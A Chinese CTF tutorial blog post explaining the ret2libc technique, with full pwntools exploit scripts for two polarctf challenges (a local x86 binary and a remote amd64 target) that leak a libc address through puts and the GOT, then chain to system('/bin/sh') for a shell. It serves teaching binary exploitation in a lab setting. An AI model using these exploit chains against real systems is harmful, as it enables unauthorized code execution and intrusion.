初探 ret2libc

发布时间:2024年01月23日

ret2libc

这次我们又碰到新问题了,假如程序没有 system 函数和 /bin/sh 怎么办?

system,/bin/sh 可以去 libc 里找,libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串。

那么问题来了,如何找到 libc 里的 system 函数和 /bin/sh 字符串呢?

函数的真实地址   =   基地址   +   偏移地址 

libc 库中存放的就是这些函数的偏移地址。只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址。

libc 版本如何确定?

  1. 打本地的话直接 lld file 即可查看。
  2. 每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本(此处需要用到工具LibcSearcher库,https://libc.blukat.me)

好那么好,假设这时候 libc 库的版本确定了,频移地址也就确定了,那么该如何得到基地址呢?

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址  - 函数func的偏移地址

如何找到某个函数func的真实地址呢?

我们可以利用 puts(),write() 这样的函数把某个函数 func 真实地址打印出来,怎么打印?

这就得了解一下 plt 表和 got 表和 Linux的延迟绑定机制了。

Pwn基础:PLT&GOT表以及延迟绑定机制 (qq.com)

Basic-ROP (yuque.com)

可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。当第二次执行函数A时,此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用

简单来说就是程序第一次调用某个函数 got 表里放的还不是 这个函数的真实地址,但是第二次调用 got 表放的是 这个函数的真实地址了。

所以

这次运行程序的基地址 = 运行过的某个函数func的真实地址  - 函数func的偏移地址
运行多次的某个函数func的真实地址 = got表中 func 的地址

然后同过打印函数泄露 运行过的某个函数func的真实地址。

构建思路

  1. 找到一个在程序中运行过的函数 func ,构造 payload,劫持打印函数输出 func 在 got 表的真实地址
  2. 根据其最后三位,可以判断出libc库的版本
  3. 根据 libc 库的版本可以很容易的确定 func 函数的偏移地址
  4. 基地址 = func 函数的真实地址 - func 函数的偏移地址。
  5. 根据 libc 库的版本得到 system 函数和 ‘/bin/sh’ 的偏移地址
  6. 基地址 + 偏移地址 计算出其真实地址。
  7. 再次构造 payload ,劫持到执行 system(‘/bin/sh’) 拿到 shell。

下面本地打几道例题

x86

polarctf 的 Game

进入程序我们发现题目要我们输出两次 yes ,然后再输入一次字符,然后程序输出我们打印的字符串。

随机生成 200 个字符串看一下要写多少脏数据

image-20240123123455184

出现了段错误,提示程序跳转到了0x62616164的位置,那么我们只要找到这个0x62616164在cyclic生成的字符串中的哪个位置即可:

cyclic -l 0x62616164

image-20240123124032847

计算缓冲区到返回地址的偏移量为 112

我们可以发现 puts 函数运行过了,所以就用 puts 了,分别拿 puts 的 plt 表和 got 表的对应地址。

puts_plt =  elf.plt['puts']
puts_got =  elf.got['puts']

image-20240123124500805

输出发现其实就是 ida 里的 .plt 和 .got.plt

image-20240123124602600

image-20240123124626424

构造 payload 打印 puts 函数真实地址

padding = 112
star_addr = 0x080485F4
payload = b'a'*padding + p32(puts_plt) + p32(star_addr) + p32(puts_got)

这里执行完返回地址是 star 函数,这样发送 payload2 的时候就不用再敲两次 yes 了。

r = process('./Game')
r.sendlineafter('Do you play game?\n',b'yes')
r.sendlineafter('Do you think playing games will affect your learning?\n',b'yes')
r.sendlineafter('I think the same as you!\n',payload)
r.recvline() #接受一下程序无用的打印值
puts_real_addr = u32(r.recv(4)) # 接收四个字节然后解包

打印一下真实地址

print(hex(puts_real_addr))

image-20240123133552719

拿着后面三位去 LibcSearcher 搜一下 libc 的版本,由于仅仅打本地,那么我们只要找到本地的libc就可以了。用ldd命令。

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_real_addr - libc.symbols['puts'] # 获取基地址
system_addr = libc_base + libc.symbols["system"] # 获取 system 地址 
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # 获取 /bin/sh 地址 ,因为字符串一堆,所以用 next 拿取第一个 /bin/sh

然后就是基本的 payload 构造了

payload2 = b'a'*padding + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

还记得我们第一个 payload 设置执行完 puts 后的返回地址是 star

image-20240123135205921

所以

r.sendlineafter('I think the same as you!\n',payload2)
r.interactive()

拿到 shell

image-20240123135618137

amd64

这次打一下远程靶机,直接上题 polarctf 的 sleep。

先计算偏移量,丢入 200 字节脏数据

image-20240123150053141

看到main函数的返回地址已经被覆盖成了 0x6261616762616166,计算得 120

image-20240123150257113

可以看到 puts 已经用过一次了,所以就用 puts 来输出 puts 的真实地址了。然后得到基址

找 pop rdi ;ret

ROPgadget --binary ./sleep --only "pop|ret"|grep rdi
第一阶段获取 libc 版本
from pwn import *

# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')


padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6 

payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)


io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)

real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节


print(hex(real_addr))

得到真实地址,后三位 6a0

0x7f32c9c876a0

然后去 libcdatabase,找到然后下载下来

libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))

payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()

完整代码

from pwn import *

# io = process('./sleep')
io = remote("120.46.59.242",2068)
elf = ELF('./sleep')


padding = 120
rdi_ret = 0x400783
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6 
payload = b'a'*120 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)


io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload)
real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF('/root/Desktop/libc/amd64/libc6_2.23-0ubuntu11.3_amd64.so')
base_addr = real_addr - libc.symbols['puts']
sys_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b"/bin/sh"))

payload2 = b'a'*120 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr) + p64(0xdeadbeef)
io.sendlineafter('Please cherish every second of sleeping time !!!\n',payload2)
io.interactive()

image-20240123171438918

文章来源:https://blog.csdn.net/akdelt/article/details/135776911
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。